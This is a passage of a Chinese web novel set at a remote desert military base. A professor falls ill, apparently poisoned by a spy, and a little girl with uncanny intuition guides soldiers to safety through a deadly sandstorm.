“不像!快!叫孙军医!快啊!”钱教授急得声音都变了调,他扶住郑宏下滑的身体,能清晰地感觉到对方肌肉的僵硬和痉挛。
刘司令早已把甜甜交给旁边的李桂华,面色沉肃地大步走来:“都让开!保持空气流通!梁哲,准备担架!”
训练有素的战士们迅速行动起来,有人飞奔去叫军医,有人抬来了简易担架。食堂里温馨欢乐的气氛荡然无存,被一片紧张和担忧所取代。
所有人围拢过来,又不敢靠得太近,焦急地看着在担架上痛苦蜷缩的郑宏教授。
甜甜被李桂华紧紧抱着,睁大了眼睛,茫然又害怕地看着刚才还和钱爷爷说话,现在却痛苦不堪的郑爷爷。小手不自觉地抓紧了李阿姨的衣服。
孙军医提着药箱气喘吁吁地跑来,迅速进行检查。翻看眼睑,触摸颈动脉,听着那越来越微弱紊乱的心跳,他的脸色越来越凝重。
“不是普通的急症,倒像是神经系统的并发症……”他喃喃自语,语气里带着几分不确定,“难道是长期营养极度缺乏,突然补充营养后,引发的代谢紊乱?”
“那应该怎么办?”高衍舟急得快要哭了。
“我先给他打一支镇静剂,看看能不能让他暂时稳定下来,再做后续观察。”
孙军医一边说着,一边迅速从药箱里拿出针剂,“不过他这情况,最好还是尽快送去市里的大医院做详细检查,镇医院和咱们基地的条件都太有限了,查不出根源。”
“我陪老师去市医院,他这个样子,我怎么和师母交代。”高衍舟垂泪:“这段时间老师为了铺设管道,长期暴露在复杂的地质环境中,会不会是接触了什么罕见的矿物,或者是地下水污染引起的慢性损害?”
孙军医对地质方面的知识一窍不通,只能摇了摇头:“那就更需要去市里做全面的化验检查了。但他现在的情况太不稳定,绝对不适合移动,必须等他的体征平稳了再说。”
“那还等什么!”刘司令猛地一挥手,语气急切,“快用药!无论如何,一定要把郑教授治好!”
镇静剂缓缓注入血管,几分钟后,郑宏的呼吸终于从急促转为平稳。
他原本剧烈颤抖的身体逐渐平静下来,四肢不再紧绷抽搐,只剩下偶尔细微的战栗。
此刻他被小心翼翼抬进了卫生所,孙军医寸步不离地守着病床,不时拿起听诊器监测心跳,就这样又过去十分钟,看着郑宏青灰的脸色逐渐恢复正常,孙军医绷紧的眉头才勉强松开。
“情况暂时控制住了。”他长出了一口气,抬手擦去额角的汗珠。
周围十余双眼睛都盯着他,等待着他的结论。
而孙军医接下来的话,瞬间又让所有人的心沉了下去:“这是靠药物强行压制的,至于具体病因,目前我还查不出来。”
查不出病因,就意味着郑宏身上揣着一颗不知何时会引爆的定时**!
其中的凶险,不言而喻。
刘司令眉头紧锁,心中五味杂陈。就在刚才,大家还在
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为一场丰收的喜讯而欢欣鼓舞,这股热乎劲儿还没过去,作为援建核心力量的郑宏却倒下了。这让他如何向上级部门交代?
他回过身,目光如电,直射高衍舟:“高技术员,郑宏同志这病来得太蹊跷,你跟在他身边最久,有没有发现什么问题?”
孙军医也问:“作业时接触过什么特殊东西没有?饮食、材料,都仔细想想,任何细节都不能漏!”
高衍舟原本双手抱头趴在病床边,听到询问猛地抬起了头。
众人这才发现,他两只眼睛早已哭得通红,眼底布满了红血丝。
“郑老师的生活很规律,饮食也和大家一样,没有任何异常。”
“至于工作方面,老师一向严谨认真,更不会出什么问题。”
“什么都没有?”刘司令脸色愈发阴沉。
果然,高衍舟凝神苦思半晌,才迟疑着开口:“如果非要说有什么特别的……就是前段时间,万洪辛来找过老师,请教了一些水利项目的数据。但我全程都在旁边,没发现任何不对劲的地方。”
“万洪辛?”
这个名字一出,现场众人全都神色凝重了起来。
刘司令和白旅长对视一眼,彼此都看到了对方眼中的警觉。
“这么大的事情,为什么不早汇报!”白旅长的声音陡然严厉起来。
“这……”高衍舟脸上露出一丝窘迫,“我们也是才知道,他是被收买的间谍特务,怕因为和他有过接触……而被牵连审查。”
众人瞬间明白他的顾虑——一旦主动承认与万洪辛有过接触,必然会引来组织的严格审查。
“胡闹!”刘司令愤怒地一拍桌子,“你也是老同志了,连轻重都分不清吗?之前政委特意找你们谈过话,为什么不实话实说!”
孙军医此时也恍然大悟,一拍大腿:“司令,这条线索太关键了!如果郑教授是中了慢性毒,那一切都解释得通了!”
第49章 郑宏**,高衍舟上位!救护车戈壁驰援!
“**?”刘司令眼中腾起怒火:“能确定是万洪辛搞的吗?”
“万洪辛之前接应江国强教授的案件时,曾经出现过化学制剂,虽然暂时没查到来源,不排除他会用同样的手段陷害郑宏教授。”白旅长分析。
“啷个说的这些,都没有确凿证据!物证、人证,我们都没有拿下来。”刘司令喊过警卫员,“马上给京城发电报,把这边情况如实汇报,请国安部的同志协助调查,务必查清是否存在**行为!”
“高衍舟同志!”
他转过头,脸色沉肃:“你这个问题很严重!如果因为你们的刻意隐瞒,导致郑宏同志**延误救治,你必须接受组织的严肃处理!”
“是,我明白……”高衍舟满脸愧色,“司令,我错了,我不该瞒报这件事,是我害了老师……我愧对老师,更愧对师母……”
“司令,”一旁的钱教授开口打断了他的自责,“郑教授是否**,还只是我们的初步推断,当务之急是要把他送到大医院,做毒理检测和血液化验,这样才能确诊。”
“可郑教授现在的情况,经不起长途颠簸啊。”孙军医面露难色。
刘司令问:“移动他的最大风险是什么?”
“我们缺乏有效监护和抢救手段。”孙军医摊开手,“万一路上颠簸引发二次发作,后果不堪设想。”
“路上的事我来解决!”刘司令大手一挥,语气不容置疑,“给省城医院打电话,让他们调专业的救护车,带好设备,无论几个小时,也得给老子开过来!”
孙军医松了口气:“是,还是司令想得周到。”
解决了医疗问题,新的难题又摆在了面前。
“管网铺设工程没人主持大局,难道要因此停摆?”
“不能停!”
高衍舟猛地站起,脱口喊了出来。
方才他还神情萎靡,脸上充满自责与悔恨,情绪低落到了极点,但一提到工程,他整个人仿佛换了一个人,瞬间变得严肃而硬气。
“各位**,我理解大家的心情,但管网工程正处于收尾攻坚的关键时刻,一天也耽误不起!老师倒下前最牵挂的就是这个。如果全面停工排查,不仅后续进度会被严重拖累,还会造成巨大的人力物力浪费。”
他向前跨出一步,目光饱含坚毅与勇气,“我承认,之前是我思想觉悟不够,私心作祟,怕担责任。如果因为我的错误导致老师遇险,我万死难辞其咎。”
“但请给我一个将功补过的机会!”
“我请求,由我继续主持工地的技术工作,严格遵照老师制定的方案和图纸,完成最后的施工任务,绝不辜负老师的心血!”
这番话掷地有声,慷慨恳切。伴随着他脸上汹涌而下的泪水,那份悲痛与决心交织在一起,很难不令在场众人动容。
刘司令沉默片刻,没有立即表态。
刘司令沉默良久,没有立刻表态。他走到病床前,凝视着郑宏即使在药物作用下依然紧锁的眉头和枯槁的面容,心中充满了深深的愧疚。
“老郑啊,对不起……是我们基地没保护好你。”
“但你付出的心血,我们一定要替你守住,绝不能让它付诸东流。”
“高衍舟同志!”
“到!”
高衍舟立刻立自站好,他虽然不是军人出身,但这一刻,他的背脊也像标枪一样挺得笔直。
“你说得没错,管网灌溉工程凝聚了你和老师以及无数同志的心血,确实不能无限期停滞。而你作为郑教授的得意门生和助手,对整个工程的规划和技术细节了如指掌。”
刘司令的目光变得深邃:“所以在他苏醒并亲自指挥之前,由你暂代现场技术总指挥,确实是眼下的最优解。”
他话锋一转,语气骤然严厉,“但我丑话说在前头,你必须严格按照既定图纸和标准施工。所有关键工序的验收,必须由钱教授、王总设计师或我本人指派的人员现场复核,双重签字方可继续。同时要同时进行安全排查,重点监测工地的空气和水质。能做到吗?”
“能!”
高衍舟的声音铿锵有力,斩钉截铁:“请**放心!我一定竭尽全力,保质保
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量完成任务,绝不辜负老师的嘱托!”
“这是我欠老师的。”说完最后一句,无声的泪水流得更凶了。
刘司令轻轻叹了口气,走上前拍了拍他的肩膀,“高衍舟同志,你莫要怪我发火,我是心疼郑宏同志。你还有个重要任务,仔细回想万洪辛和郑宏接触的所有细节,写篇报告交给我,我要汇报给国安部门。”
“是!我现在就写,”高衍舟擦干眼泪,看向孙军医,“就是不知道,我交代了这些事,能不能对救治老师有些帮助。”
孙军医摇了摇头,实话实说,“那就要看省城医院的专家和设备了……我们只能尽力而为。”
省城医院接到消息,当即抽调经验丰富的专家与医护人员,配齐先进医疗器械。次日天蒙蒙亮,救护车便驶离医院,向着偏远的基地赶去。
只是当时的条件艰苦,既没有高速公路,也没有一条平整的省道,车辆往往要在柏油路和土路之间来回切换,等进入戈壁之后,更是只能龟速前行,以防应对随时可能发生变化的,恶劣的沙漠环境。
在整整跋涉了将近六个半小时之后,救护车才艰难地抵达了基地。
始终处于昏迷状态的郑宏教授被医护人员抬上了车,在经过简单的应急处置后,汽车片刻没敢耽误,即刻掉头返程。众人伫立在大门前,望着救护车留下的蜿蜒车辙,每个人的心头都沉甸甸的。
“要是能有一条像样的公路就好了……”人群中,不知是谁轻声嘟囔一句,“以后别人进来、咱们出去,都能省不少事。”
回应他的,只有一片沉默。
谁不清楚修一条路的重要性?交通便利是一切基建的根基,可眼下国家积弱,每一分钱都要掰成八瓣花。省吃俭用筹措资金研制**,都已掏空了国库,还想再修一条路?从哪出钱。
大家摇了摇头,长叹一声,神色黯然地返回基地。接连发生的变故,让先前因伙食改善而稍稍舒缓的心情,再度沉了下去。
人群中,只有梁哲望着远处翻涌的滚滚黄沙,陷入了沉思。
第50章 危急时刻!小丫头挡在基地门口
“爸爸,爸爸!”
稚嫩的呼唤在怀中响起,梁哲转过头,看女儿正仰着小脸望着他。
“甜甜,怎么了?”他收敛心神,声音不自觉地放轻柔。
“爸爸,你在想什么呀?”甜甜奶声奶气地问,小眉头和爸爸同步蹙起,像是在努力地琢磨着爸爸的心事。
“爸爸在想,要是能在这沙漠里修条路就好了”
“修,路?”
甜甜小声重复了一遍这个陌生的词汇,忽然眼睛一亮,伸出肉乎乎的小手在空中比画,“甜甜知道啦!就是大汽车在上面呜呜呜地跑,像上次爸爸送钱爷爷那回一样。”
“对,甜甜真聪明。”梁哲揉了揉她的脑袋,眼底却闪过一丝无奈,“可惜在沙漠里修一条路太贵太难,我们现在还做不到。”
“爸爸,甜甜可以帮你呀!”
小丫头一脸认真地挺起小胸脯,仿佛已经是个能独当一面的大人了。
梁哲忍俊不禁,蹲下身与她平视:“宝贝,你打算怎么帮爸爸呀?”
“嗯……”这可把甜甜给难住了。修路可不是搭积木,也不是画个圈那么简单,那是要修出好远好远的,她对此可一点概念都没有。
“没事的,乖宝贝。”见女儿被这个问题弄得撅起了小嘴,梁哲心里一软,凑过去亲了亲她红扑扑的小脸蛋,“这个问题本来就应该由爸爸来解决,你只要开开心心长大、好好玩耍就够了”
甜甜听到这话,伸出小手搂住爸爸的脖子,小脑袋靠在他肩头,有点闷闷不乐地说:“那……等甜甜长大了,一定要帮爸爸修一条大大的路。”
“好,我就等着我们的宝贝长大。”
梁哲笑着将女儿举得高高的,让她骑在自己脖子上。甜甜瞬间被逗得咯咯大笑,小手搂着爸爸的额头,脆生生地喊:“骑大马啦!驾——”
父女俩回到营地,修路的话题暂时被抛在了脑后。梁哲原本以为这件事还需从长计议,可没过多久,一件突发状况,让他彻底的坚定了念头。
两天后,基地花费重金,从市里采购了五套石磨和三套手推磨。
东西顺利买到,运输却成了天大的难题。
石磨被拆分成上下两片,单片重达五百多公斤,一套下来足有一吨重。基地特地派出了两辆载重四吨的解放牌CA10型卡车——这已是当时大夏的主力运输车型,即便如此,拉起来也十分吃力。
好不容易装车起程,返程的路却走得异常艰难。
从市里到镇上,本就路况堪忧,加上卡车载重过大,司机们不得不小心翼翼,生怕一个颠簸压爆了轮胎。
然而,真正的考验是从一出镇子开始的。
一踏上松软的沙地,轮胎要么在沙面上打滑,要么直接陷进沙坑里,几位经验丰富的老司机都提着十二分的小心,尽量避开明显的沙坑,可架不住沙漠的流动性,脚下的沙子既不会听人使唤,也不会因为人的意志而变得坚硬。
更要命的是,沙漠的天,说变就变。出发时还是**晴空,刚过正午,天际骤然阴沉下来。浓黑的乌云像被打翻的墨汁,在头顶疯狂翻涌。呼啸的狂风裹胁着沙粒,转眼间就拧成一道道旋转的黄龙,在沙漠里肆虐穿梭,正是龙卷风的前兆。
“不好!是强沙暴!”有经验的战士脸色骤变,抄起步话机嘶声怒吼,“班长,怎么办!”
带队的班长额头上暴起青筋。——此时掉头已来不及,唯一的生路就是死马当成活成医,抢在沙暴完全合围之前冲回基地!
“别停!给老子加速!冲出去!
可说得容易做起来难,此时的天空已经是头发怒的野兽,飞扬的黄沙时而打着旋扑面而来,时而聚成厚厚的帘幕挡在前方,车斗里的战士们被吹得满头满脸都是沙砾,连眼睛都睁不开;驾驶室里也因为能见度极低,只能走走停停,进度慢得像蜗牛爬。
眼看还剩最后三公里沙路就能抵达基地,意外还是发生了。
前面一辆卡车的左前轮突然猛地往下一栽,瞬间陷进了沙坑里。任凭司机如何轰油门,车轮只是在空中徒劳地空转,卷起一阵阵沙尘,车身却纹丝不动。
战士们见状,纷纷跳下车,顶着狂风搬来随身携带的厚木板垫在车轮下,又挥动铁锹拼命刨开周围的沙子,可每一锹刚挖开的沙,转眼就被风填回。轮胎因持续空转开始冒烟,空气中弥漫起焦糊味。
“停手!”班长嘶哑着吼叫,“再转轮胎要炸了!”
众人喘息着退开,眼睁睁看着风沙一点点吞噬卡车的轮廓,只能派两名战士徒步跑回基地报信。
这三公里的沙路,若是晴天在普通公路上行走,成年人不过十几分钟。可在这肆虐的沙暴中,能见度不足十米,狂风裹胁着沙粒打在身上生疼,战士们被吹得东倒西歪,每走一步都要耗费极大的力气。等他们好不容易跌跌撞撞跑回基地,竟然用了将近一个小时。
其中一名小战士累得几乎虚脱,一进基地大门,双腿一软就瘫倒在地。值班岗哨见状,急忙冲上去将他背起,一边往营区里跑,一边扯开嗓子呼喊支援。
白旅长、梁哲、宋大壮闻讯赶来,见状来不及多问,先指挥着把小战士送进卫生所检查,随后立刻吩咐备车、召集人手,准备前去支援陷在沙坑里的卡车。<
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br>众人刚走到基地大门口,一个小小的身影突然冲了出来,一把抱住了梁哲的大腿。
是甜甜。
谁也不知道,原本应该在营房里玩耍的小姑娘,从哪里听到了消息,一路气喘吁吁地跑出来,唯独那双大眼睛亮得惊人,透着一股不符合幼童年龄的执拗。
那单薄的小身体仿佛被一阵风就能卷走,却死死揪着梁哲的军装下摆:“爸爸,白爷爷,大风,危险!”
梁哲心头一紧,立刻伸手将女儿搂进怀里,用宽厚的手掌挡住扑面而来的黄沙:“甜甜乖,快回去呆着,叔叔们危险,爸爸要去救他们!”
“不行!大风会把爸爸吹走的!”甜甜紧紧抱住他的脖子,语气急切,“爸爸要去救叔叔,甜甜也去!甜甜要帮爸爸!”
“胡闹!”
梁哲断然拒绝!“这不是普通的事故,是沙暴,你绝不能去!”
他知道女儿有异于常人的能力,可此刻的情况,远比以往任何一次都要危急,这是能吞噬生命的沙暴,绝不是一个孩子可以涉足的地方。
话音刚落,一阵更猛烈的狂风席卷而来,远处的黄沙形成了一道黄色风墙。正以肉眼可见的速度向这边逼近,所到之处狂风呼啸,天昏地暗。
“这场沙暴的强度,比我们预想的还要大。”白旅长望着天色,浓眉深锁,“梁哲,你们有多少把握?”
“报告旅长,没把握!”梁哲抱着女儿,实话实说。
一边是步步紧逼的致命沙暴,一边是被困战友的生死安危。
他肩上扛着军人的职责与使命,就算毫无把握,也要拼死一搏。
“那些战友还在等着我们,时间紧迫,我们必须马上出发。”
“爸爸,带上我……”
甜甜的小身子在梁哲怀里挣扎,他低头看了看女儿,深吸一口气,把她交到白旅长手里。
“旅长,孩子拜托您,请务必保证她的安全。不能让她涉险。”
白旅长脚步一顿,他本来也要一起去,却被梁哲以女儿托付留在了原地。
“你们……注意安全!”白旅长接过甜甜,郑重地向梁哲敬了一个军礼。
这一刻,没有上下级之分,只有军人之间沉重的托付。
“爸爸!”甜甜挣扎着伸出小手,想要抓住他。
“听话!”梁哲的声音带着不容置疑的坚定,却又难掩温柔,“爸爸一定会平安回来的。”
说完,他转身看向众人,沉声道:“所有人,车辆加装防风沙挡板,战士们穿戴好防护装备,我们分两队出发。一队随我去救援陷车的同志,二队留在外围搭建临时避风棚,随时准备接应!”
第51章 危险!黄沙巨墙压境,救援队伍陷生死劫
命令下达,战士们立刻行动起来。片刻后,两辆经过简单防护的卡车已经整装待发。梁哲向白旅长抬手敬了个军礼,随后和宋大壮跳上车,汽车驶出基地大门,朝着沙暴中心的方向驶去。
刚驶出不到一公里,沙暴便已席卷而来。狂风呼啸着如同野兽嘶吼,漫天的黄沙遮天蔽日,能见度瞬间不足一米。卡车的挡风玻璃被沙砾砸得“噼啪”作响,车身在狂风中剧烈摇晃,仿佛随时都会被掀翻。
“团长,风太大了,车根本开不稳!”司机紧握着方向盘,额头上布满冷汗,声音因为用力而沙哑。
“减速慢行,沿着车辙印走!”梁哲扶着车厢壁,稳住身形大声喊道,“所有人抓牢身边的固定物,注意安全!”梁哲将自己用安全带固定在副驾驶座上,身体仍被甩得左右碰撞。他抹掉护目镜上瞬间积满的沙尘,紧盯着窗外那一片混沌,声音在风噪里几乎听不清,“通信兵!尝试呼叫被困车辆和我们自己的后车!”
“一号车呼叫二号车!听到请回答!……呼叫晨光一号!听到请回答!”通信兵抱着电台,重复着呼叫,但耳机里除了滋啦刺耳的电流杂音和狂风的背景吼叫,没有任何回应。沙暴严重干扰了无线电波。
车斗里的战士们相互紧紧抓住彼此的手臂,形成一道人墙抵御狂风。黄沙顺着车厢的缝隙灌进来,打在脸上生疼,嘴里、鼻子里全是沙砾的粗糙触感,连呼吸都变得困难。
时间在风沙的怒吼中失去了意义。不知过了多久,就在司机快要耗尽精力与风沙搏斗时,前方混沌的沙幕中,隐约出现了一个更高大、更浓重的黑影轮廓,以及……似乎是人声的呼喊,那声音被风撕扯得断断续续,微弱却如同天籁。
“减速!停车!前方有目标!”梁哲立刻下令。
卡车艰难地刹住,但车身仍被风吹得横向移动了半米。
梁哲解开安全带,推开被沙子糊住的车门。瞬间,一股磅礴巨力几乎将他扯出去!
他猛吸一口气,用尽全力抓住车门框,侧身挤了出去,狂风瞬间将他包裹,差点把他掀翻在地。他扶住车身,透过护目镜的缝隙仔细辨认,才看到不远处的沙坑里,那辆陷进去的卡车半截车身已经被黄沙掩埋,几个模糊的人影蜷缩在尚未被埋没的车厢尾部,用一块帆布勉强遮住头脸,正朝着他们的方向挥舞手臂。
“找到了!全体下车!注意安全!”梁哲顶着风,几乎是手脚并用地向后车示意,然后率先朝着陷车方向“走”去——那根本不是行走,而是在齐膝深的流沙和迎面而来的狂风中进行一场艰苦的跋涉。
身后的战士们纷纷跳下车,他们用绳索串联,弯腰低头,像一支逆流而上的纤夫队伍,在沙暴中奋力前进。
“梁团长!是梁团长吗?”陷车处的战士们看到救援身影,激动得想要站起来,却被狂风狠狠按了回去,只能嘶哑地喊着。
“待在原地!节约体力!”梁哲终于爬到卡车边,陷车比预想的更严重,流沙几乎淹没了底盘,而且仍在缓慢上涨。车旁的几名战士虽然疲惫,脸上身上全是沙土,嘴唇干裂,但精神尚可,没有明显重伤。
“宋大壮!”梁哲吼道,“带几个人,用我们车上的厚木板和撬棍,依托车身,在背风面搭建一个能容人的临时掩体!动作要快!”
“其他人,检查陷车状况,尝试用我们车的绞盘和钢缆进行固定和拖拽准备!车上有没有重要物资?先转移到安全位置!”
命令下达,救援队伍再次展开与时间的赛跑。宋大壮带着几名壮实的战士,扛着木板,试图在陷车旁竖起支撑。然而,沙地松软无法固定,狂风的力量远超人力,刚立起的木板瞬间就被吹倒,甚至有一块直接脱手,眨眼间就被卷得无影无踪。
另一边,试图固定钢缆的战士也遇到了麻烦。绞盘在狂风中难以稳定操作,
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钢缆被风吹得乱甩,几次都无法准确挂上陷车的牵引钩。一名战士试图靠近,却被一股突如其来的强风卷起的沙柱直接冲倒在地,翻滚了好几米才被安全绳拉住。
“不行,这样下去不是办法!”眼看着众人接连失利,梁哲心中焦急万分。他抬头看向天边,沙暴丝毫没有减弱的迹象,再这样僵持下去,所有人都将陷入危险。
就在这时,一名战士突然大喊:“团长,车胎!车胎要爆了!”
梁哲低头一看,只见陷在沙坑里的左前轮因为长时间受力和风沙的摩擦,轮胎壁已经微微鼓起,随时都有爆胎的可能。一旦爆胎,卡车将彻底陷在这里,再也没有脱困的可能。
“放弃拖车!”梁哲当机立断,“所有人立刻撤离,带上重要物资,跟我回临时避风棚!”
战士们不敢耽搁,立刻行动起来,将车厢里的重要设备和物资快速转移。就在最后一名战士撤离卡车的瞬间,“嘭”的一声巨响,左前轮彻底爆胎,车身再次下陷了几分,很快就被黄沙淹没了大半。
众人把长绳索系在腰间,相互搀扶着,组成了一支在沙暴中艰难求生的“人链”。艰难地向临时避风棚挪动。梁哲走在最后,不断清点着人数,确保没有落下任何一个人。风沙迷得他睁不开眼睛,只能凭着感觉一步步向前走,身上的军装早已被黄沙浸透,沉重得像灌了铅。
终于,他们抵达了临时避风棚。虽然简陋,但至少能挡住一部分风沙。战士们瘫坐在地上,大口大口地喘着气,脸上、身上全是黄沙,活脱脱变成了“土人”。
梁哲靠在棚壁上,拿出水壶喝了一口水,喉咙里的干涩感才稍稍缓解。他看向棚外依旧肆虐的沙暴,眉头紧锁。这次救援,不仅没能将陷车和物资带回来,还让大家陷入了险境。更重要的是,这让他更加深刻地意识到,没有一条像样的路,在这片沙漠里,任何行动都寸步难行。
第52章 泪目!萌娃闯沙暴救父,团长心疼暴怒
宋大壮安顿完战士,从棚子的一端挪过来,重重跌坐在梁哲身边,满身的黄沙簌簌往下掉。
“梁团,这样耗下去不是办法。”他抹了把脸上的沙砾,抬手指向棚外被狂风扭曲的空气,“这风看样子还得再刮一阵子,我们这个临时棚子,就是个纸糊的,根本撑不住太久。”
梁哲靠在冰冷的棚壁上,眉头紧锁。他又何尝不知这个道理?可此刻风沙漫天,方向难辨,一旦贸然出去,别说返回基地,恐怕瞬间就会被黄沙吞噬。
“通信兵,还能联系上基地吗?”宋大壮转头冲不远处的通信兵喊道。
通信兵正抱着电台拼命敲打,里面只有一片刺耳的电磁杂音。“不行啊,宋副团!风沙干扰太严重,电台完全失灵了!”
“就算联系上,也不能再让基地增援了,那样只会徒增伤亡。”梁哲伸手按住宋大壮,“现在只能靠我们自己,支撑到沙暴停下。”
“可你看看这鬼天气!咱们还能撑几分钟!”宋大壮狂吼。
棚子里的战士们听到这话,脸上也都浮现出焦虑之色,原本就压抑的气氛更显沉重。
就在这时,一名战士突然指向棚外,声音激动莫名:“团长!副团!你们看!”
梁哲和宋大壮同时抬头望去,只见远处的风沙中,隐约闪烁着两点星芒,像是黑夜中的星子,微弱却坚定。
那点光芒正顶着狂风,缓缓朝着棚子的方向靠近。时而被翻滚的黄沙彻底吞没,时而又奋力穿透混沌,渐渐拉长、稳定,化作两道劈开漫天黄雾的光剑。
与此同时,引擎的轰鸣刺破了风啸,。伴随着飞扬的沙尘,一辆模糊却坚实的卡车轮廓,慢慢在众人视野中清晰起来。
“是我们的车!基地同志来接应了!”宋大壮的声音带着难以置信的激动。“同志们,我们有救了!”
梁哲的心头也猛地一松,悬着的巨石仿佛被卸下了大半,可这份轻松还没持续两秒,眉头就不由自主地皱了起来。
他盯着那道越来越近的车影,心脏莫名地狂跳起来,一股强烈的预感涌上心头——这支车队里来的,恐怕不止是基地的救援人员,还有让他无比牵挂的人。
仿佛是被车灯的光芒震慑,肆虐的风沙竟稍稍减弱了几分。卡车在沙地里艰难挪动,车轮碾过起伏的沙丘,留下两道深嵌的辙印,终于在距离临时棚子两米处堪堪停稳。
刺眼的车灯骤然扫来,棚子里的众人瞬间屏住呼吸,所有目光都死死锁在车的方向,连大气都不敢喘。
车门被人用力推开,首先跳下来的是两名战士,他们迅速挡在车门两侧,用身体筑起一道挡风的屏障。紧接着,一个熟悉的高大身影弯腰从车里钻了出来。
他顶着狂风,和两名战士并肩形成一道横列,艰难地朝着棚子挪动。
还差一两步,梁哲已经箭步冲上去,一把抓住那人的手臂,猛地将三人拽进棚内。
那人军大衣的肩章和帽檐都积了厚厚一层沙,眉眼间却依旧锐利如鹰,正是白旅长。
“**?您怎么亲自来了!”梁哲又惊又急,刚要追问,目光却骤然定格,浑身的血液瞬间僵住。
白旅长抬起沾满沙土的双臂,他厚重的军大衣前襟并非自然敞开,而是被里面的东西轻轻“顶”开了一块。下一秒,一只戴着绒线小手套的小手探了出来,紧接着,是一顶几乎被沙尘染成土黄色、歪歪斜斜的儿童棉帽,最后,露出来一张被寒风刮得通红,沾满沙粒、大眼睛里蓄满泪水的小脸蛋。
是甜甜!
梁哲的大脑出现了短暂的空白,耳朵里所有的声音——风声、战友的骚动声、自己的心跳声尽数退去。
他瞳孔骤缩,全身的血液似乎在这一刻猛地冲向头顶,又在下一秒冻结成冰。
“甜……甜?!!”
那一声低吼,不像是从他喉咙里发出,更像是从胸腔深处,被巨大的震惊与恐惧硬生生挤出来的破碎音节。
他猛地向前冲去,动作因为极度的情绪冲击而有些踉跄,几乎是扑到白旅长面前,一把将那个小小的、挂在军大衣里的身影夺了过来,紧紧箍在自己怀里。
入手是冰凉的衣料,还有女儿微微发抖的小小身躯。
那触感像一根冰针,狠狠扎进他的心脏,传来一阵痉挛般的剧痛。
“旅长!!”梁哲猛地抬头,平日里的沉稳全然崩塌,只剩下一个父亲濒临失控的后怕。平日里的尊重和上下级观念被抛到九霄云外,眼睛因为激动和沙尘布满了血丝。
“您怎么能把她带到这里来?!这是要人命的风沙窝子!她还是个孩子啊!”
他的胸膛剧烈起伏,惊怒的吼声压过了外面的风啸,震得棚顶的沙
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粒簌簌落下。怀里的甜甜被爸爸涨红的脸色吓了一跳,小嘴一扁,大颗大颗的眼泪瞬间滚落。
白旅长摘下帽子,脸上同样满是沙尘,却没有丝毫愧色,反而异常平静,甚至带着一种沉重的决断。他抹了把脸,迎着梁哲几乎要喷火的目光,沉声道:
“吼完了吗?吼完了听我说。”
“梁哲,你看清楚。不是我把她‘带’出来,是她带着我们,来救你!”
他侧身,指向外面风沙中的卡车轮廓,又转回头,目光紧紧锁住梁哲惊怒交加的脸。
“你走之后,甜甜哭得不行,不停地指着沙漠方向,说‘沙子生气了’‘二十二个叔叔’。李桂华同志,还有警卫班两个战士,三个大人差点没看住她一个人!你知道她的能力,梁哲,她是拼了命要来、救、人!”
白旅长上前一步,逼视着梁哲:“你以为我愿意冒这个险?老子带兵三十年,不知道孩子不能上战场?!可她怎么知道这里困住二十二个人?加上你,宋大壮,正好二十二个,一个不多,一个不少!”
“你知道我怎么找到你们这个破棚子的吗?这能见度完全看不见路,老子抱着她坐在副驾驶,把她的脸捂在衣服里,她都能精准指出方向来!”
他深吸一口气,像是要压下某种同样激荡的情绪:“七扭八拐,避开三个我后来看痕迹才知道是流沙坑的地方,直接插到你们这个背风坡!一次没绕,一次没陷!梁哲,你告诉我,这是什么?!”
棚内一片死寂。
所有战士都屏住了呼吸,目光在暴怒的梁哲、沉痛的白旅长和梁哲蜷缩在爸爸怀中,死死搂着爸爸颈窝的小女孩之间来回移动。
梁哲抱着女儿的手臂在轻微颤抖,白旅长的话像一把冰冷的凿子,将他固化的认知和父亲本能的保护欲敲开了一道裂缝。
他低头,看向甜甜泪痕狼藉的小脸。
甜甜也恰好抬起眼,浓密的睫毛上还沾着泪珠和沙粒,清澈的瞳孔里映着他暴怒未消的面容。
“爸爸……”她抽噎着,声音细弱却清晰,“……风爷爷……要吹塌棚子了……现在走,能回家……再不走,沙子又要生气了……”
她的小手,指向棚子的一处支撑点,那根木桩看似结实,却有一丝新鲜的裂纹,正以肉眼可见的速度,在木板中段徐徐蔓延。
第53章 惊魂!棚子秒塌险埋人,全靠小福星指路逃生
宋大壮倒吸了一口凉气,这么多双眼睛在一起,竟没一个人留意到这致命的隐患!
一旦木板断裂,棚子垮塌,所有人都会被埋在底下,再加上漫天黄沙,根本别想活着出去!
“梁团,快撤出去!”
梁哲脑中最后一丝犹豫彻底消散,他死死护住怀里的甜甜,大吼一声:“所有人带好装备,立刻撤离!快!”
众人不敢耽搁,手忙脚乱地收拾物资,又将腰间的绳索彼此拴紧,结成一道生命防线,互相搀扶着,艰难地挪出棚子。
“旅长,咱们上车吗?”一名战士顶着狂风大喊。
“别问我!”白旅长的目光投向梁哲怀中那一小团,“问她!现在我们所有人的命,都拴在这孩子的手里!”
“不能上车。”甜甜从梁哲的肩膀上抬起头,身上披着父亲宽大的军装,严严实实地护住小脸,不让沙尘钻进去。
她伸出小手,指向卡车后方:“爸爸,大车车跑起来太危险,我们去车车后面躲着。”
“去车后面?”宋大壮几乎以为自己听错了,“那能顶什么事?!”
话音未落——
“轰——哗啦!!!”
身后传来令人心悸的撕裂与倒塌声!
众人骇然回头,只见那临时棚子的一侧支柱率先崩断,沉重的帆布和木架像被无形巨手扯倒,牵一发而动全身,不过两三秒,整个棚子便彻底坍塌,重重砸在他们方才站立的位置,溅起一大片混浊的沙尘。
——再晚半步,里面的人一个都别想出来。
死寂。只有风在咆哮。
每个人的脸色都煞白如纸。
“一班长!清点人数!快!”梁哲的声音因后怕而微微发颤。
“报告!全员撤出!一个不少!”
梁哲转头瞪向宋大壮,眼神锐利如刀。宋大壮哪里还敢有半分质疑,忙不迭点头,嗓门亮得惊人:“听甜甜的!全听甜甜的!”
众人互相搀扶着,在安全绳的牵引下,深一脚浅一脚地挪到卡车后方,齐刷刷地蹲了下去,将车身当作挡风的屏障。
“甜甜小同志,我们接下来还需要做什么?”宋大壮凑到跟前,声音放得又轻又柔,生怕惊扰了这位小福星。
“嘘——”甜甜伸出软乎乎的手指,抵在唇边,软糯的声音却比任何军令都管用,“叔叔别说话,要听风的声音。”
众人立刻噤声,连大气都不敢喘。
四周瞬间安静下来,只剩狂风在头顶呼啸肆虐,漫天沙尘像被无形的大手抛来揉去,时而扬成遮天蔽日的黄幕,时而砸成沉甸甸的沙团,打得人晕头转向,连眼睛都睁不开。
就在这令人绝望的窒息中——
一阵奇异的声音,隐隐约约,从风沙深处飘了过来。
